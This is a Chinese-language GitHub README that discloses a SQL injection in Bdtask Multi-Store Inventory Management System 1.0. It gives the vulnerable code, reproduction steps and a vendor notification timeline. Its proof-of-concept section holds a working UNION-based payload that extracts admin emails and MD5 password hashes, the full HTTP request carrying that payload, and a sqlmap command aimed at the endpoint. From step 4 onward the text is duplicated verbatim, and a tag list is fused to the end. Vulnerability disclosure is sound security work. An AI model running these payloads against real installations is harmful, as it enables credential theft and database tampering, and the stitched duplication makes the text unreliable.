kevin57545/CVE
GitHub: kevin57545/CVE
一个收集 CVE 漏洞研究与概念验证的仓库,提供详细的漏洞分析、复现步骤和利用 Payload。
Stars: 0 | Forks: 0
# CVE-PENDING: Bdtask Multi-Store Inventory Management System 1.0 - SQL 注入
## 漏洞信息
| 字段 | 详情 |
|-------------|--------------------------------------------|
| **产品** | Multi-Store Inventory Management System |
| **供应商** | Bdtask |
| **版本** | 1.0 |
| **类型** | SQL 注入 (CWE-89) |
| **作者** | Kevin Chiang |
| **日期** | 2026-05-04 |
| **CVSS** | 7.2 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N) |
## 受影响的组件
- **文件**: `application/modules/accounts/controllers/Accounts.php`
- **函数**: `accounts_report_search()`
- **参数**: `dtpToDate` (POST)
## 描述
在 bdtask Multi-Store Inventory Management System 1.0 中发现了一个 SQL 注入漏洞。该漏洞影响文件 `application/modules/accounts/controllers/Accounts.php` 中的 `accounts_report_search()` 函数。对参数 `dtpToDate` 的操纵导致了 SQL 注入。该攻击可能被远程发起,但需要管理员级别的账户权限。其根本原因是通过 CodeIgniter 的 Query Builder `where()` 方法将用户输入直接进行字符串插值到 SQL 查询中,而未使用参数化查询:
```
// Accounts_model.php (simplified)
$this->db->where('VDate BETWEEN "'.$dtpFromDate.'" and "'.$dtpToDate.'"');
```
## 复现步骤
### 环境
- 操作系统: Ubuntu 22.04.5 LTS
- Web 服务器: Apache 2.4.18
- PHP: 7.0.5
- 测试 URL: `http://localhost:8080/`
### 步骤(浏览器 — 无需额外工具)
1. 在本地 XAMPP 环境中安装 Multi-Store Inventory Management System v1.0
2. 使用**管理员**账户登录
3. 导航至: **Accounts → Account Reports → General Ledger**
4. 在报表表单中,从下拉菜单中选择任一 **GL Head**(选定的 GL code 值将作为 `cmbGLCode` 提交)
5. 将 **Transaction Head** 留空
6. 将 **From Date** 设置为 `2000-01-01`
7. 将 **To Date** 设置为以下 payload
8. 点击 **Search**
## 概念验证
### Payload — 基于 UNION 的(凭证提取)
将以下内容粘贴到 **To Date** 字段中:
```
2099-01-01" UNION SELECT email COLLATE utf8_unicode_ci,0,0,password COLLATE utf8_unicode_ci,0,0,0 FROM user LEFT JOIN acc_transaction ON 0=1 WHERE "1"="1
```
**预期结果**: 报表将显示 `user` 表中管理员的电子邮件和 MD5 密码哈希值。
### 易受攻击的 HTTP 请求
```
POST /accounts/accounts/accounts_report_search HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data
Cookie: ci_session=[your-session-id]
cmbGLCode=40216&dtpFromDate=2000-01-01&dtpToDate=2099-01-01" UNION SELECT email COLLATE utf8_unicode_ci,0,0,password COLLATE utf8_unicode_ci,0,0,0 FROM user LEFT JOIN acc_transaction ON 0=1 WHERE "1"="1
```
### SQLmap 命令
```
sqlmap -u "http://localhost:8080/accounts/accounts/accounts_report_search" \
--data="cmbGLCode=40216&dtpFromDate=2000-01-01&dtpToDate=2026-05-04" \
--cookie="ci_session=YOUR_SESSION_COOKIE" \
--level=3 --risk=2 \
--dbms=mysql \
--batch --dbs \
-p dtpToDate
```
## 影响
经过身份验证的管理员攻击者可以:
- 提取所有数据库内容,包括用户凭证
- 获取 MD5 哈希密码以进行离线破解
- 修改或删除任意数据库记录
- 可能通过 `INTO OUTFILE` 实现操作系统级别的文件写入
## 供应商通知
| 日期 | 操作 |
|------------|---------------------------|
| 2026-05-04 | 通过电子邮件通知供应商 |
| 2026-06-04 | 公开披露截止日期 |
## 参考
- 供应商主页: https://www.bdtask.com/
- VulDB 提交: (待定)
4. 在报表表单中,从下拉菜单中选择任一 **GL Head**(选定的 GL code 值将作为 `cmbGLCode` 提交)
5. 将 **Transaction Head** 留空
6. 将 **From Date** 设置为 `2000-01-01`
7. 将 **To Date** 设置为以下 payload
8. 点击 **Search**
## 概念验证
### Payload — 基于 UNION 的(凭证提取)
将以下内容粘贴到 **To Date** 字段中:
```
2099-01-01" UNION SELECT email COLLATE utf8_unicode_ci,0,0,password COLLATE utf8_unicode_ci,0,0,0 FROM user LEFT JOIN acc_transaction ON 0=1 WHERE "1"="1
```
**预期结果**: 报表将显示 `user` 表中管理员的电子邮件和 MD5 密码哈希值。
### 易受攻击的 HTTP 请求
```
POST /accounts/accounts/accounts_report_search HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data
Cookie: ci_session=[your-session-id]
cmbGLCode=40216&dtpFromDate=2000-01-01&dtpToDate=2099-01-01" UNION SELECT email COLLATE utf8_unicode_ci,0,0,password COLLATE utf8_unicode_ci,0,0,0 FROM user LEFT JOIN acc_transaction ON 0=1 WHERE "1"="1
```
### SQLmap 命令
```
sqlmap -u "http://localhost:8080/accounts/accounts/accounts_report_search" \
--data="cmbGLCode=40216&dtpFromDate=2000-01-01&dtpToDate=2026-05-04" \
--cookie="ci_session=YOUR_SESSION_COOKIE" \
--level=3 --risk=2 \
--dbms=mysql \
--batch --dbs \
-p dtpToDate
```
## 影响
经过身份验证的管理员攻击者可以:
- 提取所有数据库内容,包括用户凭证
- 获取 MD5 哈希密码以进行离线破解
- 修改或删除任意数据库记录
- 可能通过 `INTO OUTFILE` 实现操作系统级别的文件写入
## 供应商通知
| 日期 | 操作 |
|------------|---------------------------|
| 2026-05-04 | 通过电子邮件通知供应商 |
| 2026-06-04 | 公开披露截止日期 |
## 参考
- 供应商主页: https://www.bdtask.com/
- VulDB 提交: (待定)标签:Bdtask, Chaos, CISA项目, CodeIgniter, CVE-PENDING, CVE漏洞, CVSS 7.2, CWE-89, ERP系统, PHP安全, PNNL实验室, PoC, Proof of Concept, Web安全, 多门店库存管理系统, 库存管理系统, 情报收集, 暴力破解, 漏洞研究, 网络安全, 蓝队分析, 隐私保护, 高危漏洞